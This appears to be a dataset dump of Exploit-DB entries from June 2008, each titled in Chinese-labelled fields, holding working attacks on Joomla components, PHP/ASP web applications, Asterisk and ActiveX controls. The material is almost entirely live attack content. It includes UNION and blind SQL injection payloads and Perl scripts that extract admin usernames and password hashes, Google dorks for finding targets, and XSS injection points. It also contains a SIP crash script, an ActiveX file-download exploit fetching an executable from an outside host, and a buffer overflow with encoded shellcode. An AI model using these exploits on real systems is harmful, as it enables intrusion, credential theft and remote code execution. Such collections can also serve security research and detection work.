QLWD/code_shield huggingface dataset:
标题: Joomla! Component Rapid Recipe 1.6.6/1.6.7 - SQL Injection EDB-ID: 5759 CVE: 2008-2697 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-08 漏洞利用脚本: /---------------------------------------------------------------\
\                                    /
/       Joomla Component rapidrecipe Remote SQL injection       \
\                                    /
\---------------------------------------------------------------/


[*] Author    :  His0k4 [ALGERIAN HaCkEr]

[*] Dork      :  inurl:com_rapidrecipe "recipe_id"

[*] POC        : http://localhost/[Joomla_Path]/index.php?option=com_rapidrecipe&page=viewrecipe&recipe_id={SQL}

[*] Example    : http://localhost/[Joomla_Path]/index.php?option=com_rapidrecipe&page=viewrecipe&recipe_id=-1 UNION SELECT user(),concat(username,0x3a,password),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user() FROM jos_users--

                
----------------------------------------------------------------------------
[*] Greetings :  Str0ke, all friends & muslims HaCkeRs...
[*] Greetings2:  http://palcastle.org/cc

# milw0rm.com [2008-06-08] URL: https://www.exploit-db.com/exploits/5759
标题: JiRo's FAQ Manager eXperience 1.0 - 'fID' SQL Injection EDB-ID: 5753 CVE: 2008-2691 类型: WEBAPPS 平台: ASP 发布日期: 2008-06-08 漏洞利用脚本: [+] Script Name     : JiRoÂ´s FAQ Manager eXperience
[+] Version         : v 1.0
[+] Price           : _ Single Website License 34.95 $
                      _ 2 Websites License 62.95 $
                      _ 5 Websites License 139.95 $
[+] Author          : Underz0ne Crew
[+] Home            : http://www.underz0ne.net
[+] Script In short : ('JiRos FAQ Management System is an essential 
element for any webmaster, providing your customers with answers to 
specific questions on-line 24 hours a day, 7 days a week. Build a 
complete knowledge base, adding articles and creating your own topic 
based FAQ system using our feature packed administration facility ')
[+] Dork            : inurl:"read.asp?fID="

--//--> Exploit :

read.asp?fID={SQL}

__--> MS SQL Server : convert(int,(select+@@version));

__--> MS Access     : IIF((select%20mid(last(Name),1,1)%20from%20(select%20top%2010%20Namee%20from%20MSysObjects))='a',0,'Bingo')%00

--//--> 

# milw0rm.com [2008-06-08] URL: https://www.exploit-db.com/exploits/5753
标题: Black Ice Software Inc Barcode SDK - 'BIDIB.ocx' Multiple Vulnerabilities EDB-ID: 5750 CVE: 2008-2684 2008-2683 类型: REMOTE 平台: WINDOWS 发布日期: 2008-06-05 漏洞利用脚本: -----------------------------------------------------------------------------
 Black Ice Software Inc Barcode SDK (BIDIB.ocx) Arbitrary File Download
 and Memory Corruption
 url: http://www.blackice.com

 File : BIDIB.ocx
 Ver. : 10.9.3.0
 CLSID: {D2797899-BE27-4CDB-892F-4FDC26EA9BA9}

 Mark.: RegKey Safe for Script: True
        RegKey Safe for Init: True
        Implements IObjectSafety: False

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.

 Windows XP Professional SP3 fully patched, with Internet Explorer 7
 Windows 2k Professional SP3 fully patched, with Internet Explorer 6

 In memory of rgod
-----------------------------------------------------------------------------
<object classid='clsid:D2797899-BE27-4CDB-892F-4FDC26EA9BA9' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the arbitrary file download test'>

<input language=VBScript onclick=MemoryCorruption() type=button value='Click here to start the memory corruption test'>

<script language='vbscript'>
 Sub tryMe
  test.DownloadImageFileURL "http://somesite.com/seed.exe", "C:\seed.exe"
 End Sub
</script>

<script language='vbscript'>
 Sub MemoryCorruption
  buff_0 = String(2068, "A")
  
  buff_1 = String(2068, "B")
  
  test.DownloadImageFileURL buff_0, buff_1
 End Sub  
</script>

# milw0rm.com [2008-06-05] URL: https://www.exploit-db.com/exploits/5750
标题: Joomla! Component EasyBook 1.1 - 'gbid' SQL Injection EDB-ID: 5740 CVE: 2008-2569 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-04 漏洞利用脚本: #!/usr/bin/perl
use IO::Socket;
use strict;

##### INFO##############################
# Example:                             #
# Host: xxx.lu                  #
# &md: 0f8ab366793a0d1da85c6f5a8d4fb576#
########################################


print "-+--[ Joomla Component EasyBook 1.1 SQL Injection Exploit]--+-\n";
print "-+--                                                      --+-\n";
print "-+--            Author: ZAMUT                             --+-\n";
print "-+--            Vuln: gbid=                               --+-\n";
print "-+--            Homepage: http://antichat.ru              --+-\n";
print "-+--            Dork: com_easybook                        --+-\n\n";

print "Host:" ;
chomp(my $host=<STDIN>);
print "&md=";
chomp(my $md=<STDIN>);

my ($socket,$lhs,$l,$h,$s);
$socket = IO::Socket::INET->new("$host:80") || die("Can't connecting!");
print $socket  "POST /index.php HTTP/1.0\n".
               "Host: www.$host\n".
      "Content-Type: application/x-www-form-urlencoded\n".
      "Content-Length: 214\n\n".
               "option=com_easybook&Itemid=1&func=deleteentry&gbid=-1+union+select+1,2,concat(0x3A3A3A,username,0x3a,password,0x3A3A3A),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+jos_users/*&md=$md\n";
  while(<$socket>)
  {
  $s = <$socket>;
  if($s=~/:::(.+):::/){
     $lhs = $1;
        ($l,$h,$s)=split(':',$lhs);
     print "\nAdmin Login:$l\nHash:$h\nSalt:$s\n";
     close $socket; 
     exit; }
  }
  die ("Exploit failed!");

# milw0rm.com [2008-06-04] URL: https://www.exploit-db.com/exploits/5740
标题: Joomla! Component GameQ 4.0 - SQL Injection EDB-ID: 5752 CVE: 2008-2701 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-07 漏洞利用脚本: /---------------------------------------------------------------\
\                                    /
/         Joomla Component GameQ Remote SQL injection           \
\                                    /
\---------------------------------------------------------------/


[*] Author    :  His0k4 [ALGERIAN HaCkEr]

[*] POC        : http://localhost/[Joomla_Path]/index.php?option=com_gameq&task=page&category_id={SQL}

[*] Example    : http://localhost/[Joomla_Path]/index.php?option=com_gameq&task=page&category_id=-1 UNION SELECT 1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14 FROM jos_users--

# milw0rm.com [2008-06-07] URL: https://www.exploit-db.com/exploits/5752
标题: Joomla! Component JoomlaDate 1.2 - 'user' SQL Injection EDB-ID: 5748 CVE: 2008-6068 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-05 漏洞利用脚本: /---------------------------------------------------------------\
\                                    /
/       Joomla Component joomladate Remote SQL injection        \
\                                    /
\---------------------------------------------------------------/


[*] Author    :  His0k4 [ALGERIAN HaCkEr]

[*] Dork      :  inurl:com_joomladate
[*] Dork 2    :  inurl:com_joomladate "user"

[*] POC        : http://localhost/[Joomla_Path]/index.php?option=com_joomladate&task=viewProfile&user={SQL}

[*] Example    : http://localhost/[Joomla_Path]/index.php?option=com_joomladate&task=viewProfile&user=9999999 UNION SELECT user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),concat(username,0x3a,password),user(),user(),user(),user(),user(),user(),user() FROM jos_users--

                
----------------------------------------------------------------------------
[*] Greetings :  Str0ke, all friends & muslims HaCkeRs...

# milw0rm.com [2008-06-05] URL: https://www.exploit-db.com/exploits/5748
标题: pSys 0.7.0.a - 'shownews' SQL Injection EDB-ID: 5745 CVE: 2008-5269 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-05 漏洞利用脚本: ######################
#
#pSys - 0.7.0. alpha shownews SQL Injection
#
######################
#
#Bug by: h0yt3r
#
##
###
##
#
#Bug in here:
#
# if (isset($_REQUEST['shownews']) && $_REQUEST['shownews'] != "") {
#    $sqlbefehl="Select titel from $tab_news Where id = '".intval($_REQUEST['shownews'])."'";
#    $gettitel = mysql_query($sqlbefehl,$serverid);
#    $news=mysql_fetch_array($gettitel);
#    $pagetitle = $pset['systitle']." - ".htmlspecialchars($news['titel']);
#    //Hit Count
#    $sqlbefehl = "Update $tab_news Set Counter=Counter+1 Where id = '".intval($_REQUEST['shownews'])."'";
#    @mysql_query($sqlbefehl,$serverid);
# }
#
#
#Ok, as we can see the script uses intval to convert the value of $shownews to an integer,
#so a normal Select Injection would return nothing.
#But it is still possible to inject and echo the right values using a simple CONVERT() or CAST() subquery.
#Make sure that your subquery returns only one row by setting limit n,1.
#
#In standard configuration the table prefix is "ps_". But it also can be somethin like "powie_"
#like it is set in version 0.69.
#Remember that you can use information_schema.tables when mySQL Version >= 5 for finding prefixes and names.
#
#And by the way Powie uses a nice password encryption style, so have fun with it:
#
# if ($checkuser == 1) {
#         srand((double)microtime() * 1000000);
#         $newpass = md5(uniqid(rand()));
#         $pwd = substr($newpass, 0, 10);
# }
#
#SQL Injection:
#http://[target]/[path]/news/index.php?shownews=[SQL+SUBQUERY]
#
#PoC:
#/news/index.php?shownews=-1'UnIoN/**/SeLeCt/**/1,CoNvErT((SeLeCt/**/CoNcAt(username,0x3a,pwd)/**/FrOm/**/powie_pfuser/**/LiMit/**/0,1),ChAr(99)),3,4,5,6,7,8,9,10,11,12,13/*
#/news/index.php?shownews=-1'UnIoN/**/SeLeCt/**/1,CaSt((SeLeCt/**/CoNcAt(username,0x3a,pwd)/**/FrOm/**/ps_pfuser/**/LiMit/**/0,1)/**/AS/**/ChAr),3,4,5,6,7,8,9,10,11,12,13/*
#
#######################
#
#Greetz to thund3r, b!zZ!t, ramon, Sys-Flaw, Free-Hack and the great h4ck-y0u Team!
#
#######################
#######################

# milw0rm.com [2008-06-05] URL: https://www.exploit-db.com/exploits/5745
标题: Asterisk 1.2.x - SIP channel driver / in pedantic mode Remote Crash EDB-ID: 5749 CVE: 2008-2119 类型: DOS 平台: MULTIPLE 发布日期: 2008-06-05 漏洞利用脚本: #!/usr/bin/perl -w
###############


# asterisk AST-2008-008
# by armando.j.m.o@gmail.com
#AST-2008-008 - Remote Crash Vulnerability in SIP channel driver when run in pedantic mode

use Getopt::Std;
use IO::Socket;
use strict;

my %args;
getopts("h:p:", \%args);

if (!$args{h} || !$args{p}) { usage(); }


my $sock = IO::Socket::INET->new(
    Proto    => 'udp',
    PeerPort => $args{p},
    PeerAddr => $args{h},
) or die "Could not create socket: $!\n";

$sock->send('INVITE sip:1234@'.$args{h}.' SIP/2.0\n
CSeq: 2 INVITE') or die "Send error: $!\n";




sub usage {
    print STDERR
qq{ $0

Usage: $0 -h <host> -p <port>
        -h <host>       = host
        -p <port>       = port

Example:
        $0 -h target -p port


};

# milw0rm.com [2008-06-05] URL: https://www.exploit-db.com/exploits/5749
标题: 427bb 2.3.1 - SQL Injection / Cross-Site Scripting EDB-ID: 5742 CVE: 2008-2561 2008-2560 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-05 漏洞利用脚本: ============================================================
 427BB 2.3.1 (SQL/XSS) Multiple Remote Vulnerabilities
============================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'

AUTHOR : CWH Underground
DATE   : 4 June 2008
SITE   : www.citec.us


#####################################################
 APPLICATION : 427BB
 VERSION     : 2.3.1
 DOWNLOAD    : http://fourtwosevenbb.sourceforge.net/
#####################################################

---SQL Injection Exploit [showpost.php]---

##############################################
Vulnerable: showpost.php

118: $sql = "SELECT ID, UserName, Post, UTime, IP, InReplyTo, ThreadID From " . $t_prefix . "Posts WHERE ID=$post_id";
119:
120: $res = mysql_query($sql);

###############################################

Exploit:

http://[target]/[path]/showpost.php?ForumID=1&post=1 union select 1,UserName,3,4,5,Password,7 FROM 427bb_personal WHERE ID=1--



---Multiple Remote XSS Exploit---

###########
XSS in URI
###########

Example:
     
http://[target]/[path]/register.php/<XSS>
http://[target]/[path]/reminder.php/<XSS>
http://[target]/[path]/search.php/<XSS>

####################
XSS with POST Method
####################

Example:

http://[target]/[path]/register.php
[-]POST variable "uname"
[-]POST variable "email"
[-]POST variable "email2"

http://[target]/[path]/reminder.php
[-]POST variable "email"

http://[target]/[path]/search.php
[-]POST variable "keywords"

##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-05] URL: https://www.exploit-db.com/exploits/5742
标题: Power Phlogger 2.2.5 - 'css_str' SQL Injection EDB-ID: 5744 CVE: 2008-2562 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-05 漏洞利用脚本: ############################################################

SQL Injection vulnerability in Power Phlogger

By MustLive (http://websecurity.com.ua)

Detailed information: http://websecurity.com.ua/2158/

Description: SQL Injection vulnerability in Power Phlogger (it is PHP/MySQL logging tool via counters). To make SQL Injection attack you need to be logged into your account, which can be freely obtained via open registration form.
 
SQL Injection:
 
http://site/edCss.php?css_str=-1%20union%20select%20null,null,id,username,pw,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null%20from%20pphl_users%20limit%200,1&action=edit
 
With this query you will receive id, login and password (hash) of first user.
 
Vulnerable versions are Power Phlogger <= 2.2.5.
 
############################################################

# milw0rm.com [2008-06-05] URL: https://www.exploit-db.com/exploits/5744
标题: PHP-Address Book 3.1.5 - SQL Injection / Cross-Site Scripting EDB-ID: 5739 CVE: 2013-1748 2008-2566 2008-2565 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-04 漏洞利用脚本: ============================================================
 PHP-Address Book (SQL/XSS) Multiple Remote Vulnerabilities
============================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'

AUTHOR : CWH Underground
DATE   : 4 June 2008
SITE   : www.citec.us


#####################################################
 APPLICATION : PHP-Address Book
 VERSION     : <= 3.1.5
 DOWNLOAD    : http://sourceforge.net/projects/php-addressbook
#####################################################

---SQL Injection Exploit---

##############################################
Vulnerable: view.php

 6:  if ($id) {
 7:
 8:  $sql = "SELECT * FROM $base_from_where AND $table.id=$id";
 9:   $result = mysql_query($sql, $db);
10:   $r = mysql_fetch_array($result);
11:
12:   $resultsnumber = mysql_numrows($result);
13: }

###############################################

Exploit:

http://[target]/[path]/view.php?id=-1 union select 1,2,3,id,firstname,lastname,7,address,mobile,10,11,12,email,14 from addressbook/*


##############################################
Vulnerable: edit.php

30: if(! $read_only)
31:  {
32: $sql="SELECT * FROM $base_from_where AND $table.id=$id";
33: $result = mysql_query($sql);
34: $resultsnumber = mysql_numrows($result);

###############################################

Exploit:

http://[target]/[path]/edit.php?id=-1 union select 1,2,3,id,firstname,lastname,7,address,mobile,10,11,12,email,14 from addressbook/*


---Remote XSS Exploit---

[+]/?group
[+]/index.php


Example:
     
http://[target]/[path]/?group=<XSS>
http://[target]/[path]/index.php?group=<XSS>


##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-04] URL: https://www.exploit-db.com/exploits/5739
标题: Black Ice Software Inc Barcode SDK - 'BITiff.ocx' Remote Buffer Overflow (2) EDB-ID: 5747 CVE: 2008-2693 类型: REMOTE 平台: WINDOWS 发布日期: 2008-06-05 漏洞利用脚本: Black Ice Software Inc Barcode SDK (BITiff.ocx) Remote Buffer Overflow
 url: http://www.blackice.com

 File : BITiff.ocx
 Ver. : 10.9.3.0
 CLSID: {2324B5B7-D3EF-464C-BB35-06EFF8F11EB3}

 Mark.: RegKey Safe for Script: True
        RegKey Safe for Init: True
        Implements IObjectSafety: False

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.

 Windows XP Professional SP3 fully patched, with Internet Explorer 7

 In memory of rgod
-----------------------------------------------------------------------------
<object classid='clsid:2324B5B7-D3EF-464C-BB35-06EFF8F11EB3' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
 Sub tryMe
  buff = String(260, "A")

  get_EIP = unescape("%EB%BA%3F%7E")

  nop = String(12, unescape("%90"))
  
  shellcode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49") & _
              unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") & _
              unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34") & _
              unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41") & _
              unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%54") & _
              unescape("%42%30%42%50%42%50%4b%58%45%54%4e%53%4b%58%4e%37") & _
              unescape("%45%50%4a%47%41%30%4f%4e%4b%38%4f%44%4a%51%4b%48") & _
              unescape("%4f%55%42%42%41%30%4b%4e%49%44%4b%48%46%43%4b%38") & _
              unescape("%41%30%50%4e%41%53%42%4c%49%49%4e%4a%46%58%42%4c") & _
              unescape("%46%57%47%50%41%4c%4c%4c%4d%50%41%30%44%4c%4b%4e") & _
              unescape("%46%4f%4b%53%46%35%46%32%46%30%45%37%45%4e%4b%48") & _
              unescape("%4f%35%46%32%41%50%4b%4e%48%56%4b%38%4e%50%4b%54") & _
              unescape("%4b%48%4f%55%4e%31%41%30%4b%4e%4b%38%4e%41%4b%38") & _
              unescape("%41%30%4b%4e%49%58%4e%35%46%42%46%50%43%4c%41%43") & _
              unescape("%42%4c%46%36%4b%48%42%34%42%33%45%38%42%4c%4a%37") & _
              unescape("%4e%30%4b%48%42%34%4e%50%4b%48%42%57%4e%31%4d%4a") & _
              unescape("%4b%38%4a%46%4a%50%4b%4e%49%50%4b%48%42%38%42%4b") & _
              unescape("%42%30%42%50%42%30%4b%48%4a%36%4e%53%4f%35%41%33") & _
              unescape("%48%4f%42%46%48%35%49%58%4a%4f%43%48%42%4c%4b%57") & _
              unescape("%42%55%4a%46%42%4f%4c%48%46%50%4f%35%4a%46%4a%49") & _
              unescape("%50%4f%4c%38%50%30%47%55%4f%4f%47%4e%43%56%41%36") & _
              unescape("%4e%46%43%46%50%52%45%36%4a%37%45%36%42%30%5a")

  egg = buff + get_EIP + nop + shellcode + nop

  test.SetByteOrder egg, 1
 End Sub
</script>

# milw0rm.com [2008-06-05] URL: https://www.exploit-db.com/exploits/5747
标题: Joomla! Component SimpleShop 3.4 - SQL Injection EDB-ID: 5743 CVE: 2008-2568 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-05 漏洞利用脚本: /---------------------------------------------------------------\
\                                    /
/       Joomla Component simpleshop Remote SQL injection        \
\                                    /
\---------------------------------------------------------------/


[*] Author    :  His0k4 [ALGERIAN HaCkEr]

[*] Dork      :  inurl:com_simpleshop
[*] Dork      :  inurl:com_simpleshop "catid"

[*] POC        : http://localhost/[Joomla_Path]/index.php?option=com_simpleshop&task=browse&Itemid=29&catid={SQL}

[*] Example    : http://localhost/[Joomla_Path]/index.php?option=com_simpleshop&task=browse&Itemid=29&catid=-1 UNION SELECT user(),concat(username,0x3a,password),user(),user(),user(),user(),user(),user() FROM jos_users--

                
----------------------------------------------------------------------------
[*] Greetings :  Str0ke, all friends & muslims HaCkeRs...

# milw0rm.com [2008-06-05] URL: https://www.exploit-db.com/exploits/5743
标题: Joomla! Component JooBlog 0.1.1 - Blind SQL Injection EDB-ID: 5734 CVE: 2008-5051 2008-2630 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-03 漏洞利用脚本: #!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;

if(!$ARGV[1])
{
  print "                                                                \n";
  print "   #############################################################\n";
  print "   #   Joomla Component JooBlog Blind SQL Injection Exploit    #\n";
  print "   #   Author:His0k4 [ALGERIAN HaCkeR]                         #\n";
  print "   #                                                           #\n";
  print "   #   Conctact: His0k4.hlm[at]gamil.com                       #\n";
  print "   #   Greetz:   All friends & muslims HacKeRs                 #\n";
  print "   #   Greetz2:  http://www.palcastle.org/cc :)                #\n";
  print "   #                                                           #\n";
  print "   #   Dork :   inurl:com_jb2                                  #\n";
  print "   #   Usage:   perl jooBlog.pl host path <options>            #\n";
  print "   #   Example: perl jooBlog.pl www.host.com /joomla/ -c 5     #\n";
  print "   #                                                           #\n";
  print "   #   Options:                                                #\n";
  print "   #     -c    Category  id                                    #\n";
  print "   #############################################################\n";
  exit;
}

my $host    = $ARGV[0];
my $path    = $ARGV[1];
my $userid  = 1;
my $cid     = $ARGV[2];

my %options = ();
GetOptions(\%options, "u=i", "p=s", "c=i");

print "[~] Exploiting...\n";

if($options{"u"})
{
  $userid = $options{"u"};
}

if($options{"c"})
{
  $cid = $options{"c"};
}

syswrite(STDOUT, "[~] MD5-Hash: ", 14);

for(my $i = 1; $i <= 32; $i++)
{
  my $f = 0;
  my $h = 48;
  while(!$f && $h <= 57)
  {
    if(istrue2($host, $path, $userid, $cid, $i, $h))
    {
      $f = 1;
      syswrite(STDOUT, chr($h), 1);
    }
    $h++;
  }
  if(!$f)
  {
    $h = 97;
    while(!$f && $h <= 122)
    {
      if(istrue2($host, $path, $userid, $cid, $i, $h))
      {
        $f = 1;
        syswrite(STDOUT, chr($h), 1);
      }
      $h++;
    }
  }
}

print "\n[~] Exploiting done\n";

sub istrue2
{
  my $host  = shift;
  my $path  = shift;
  my $uid   = shift;
  my $cid   = shift;
  my $i     = shift;
  my $h     = shift;
 
  my $ua = LWP::UserAgent->new;
  my $query = "http://".$host.$path."index.php?option=com_jb2&view=category&CategoryID=".$cid." and (SUBSTRING((SELECT password FROM jos_users LIMIT 0,1 ),".$i.",1))=CHAR(".$h.")";
 
  if($options{"p"})
  {
    $ua->proxy('http', "http://".$options{"p"});
  }
 
  my $resp = $ua->get($query);
  my $content = $resp->content;
  my $regexp = "jb_post_footer";
 
  if($content =~ /$regexp/)
  {
    return 1;
  }
  else
  {
    return 0;
  }

}

# milw0rm.com [2008-06-03] URL: https://www.exploit-db.com/exploits/5734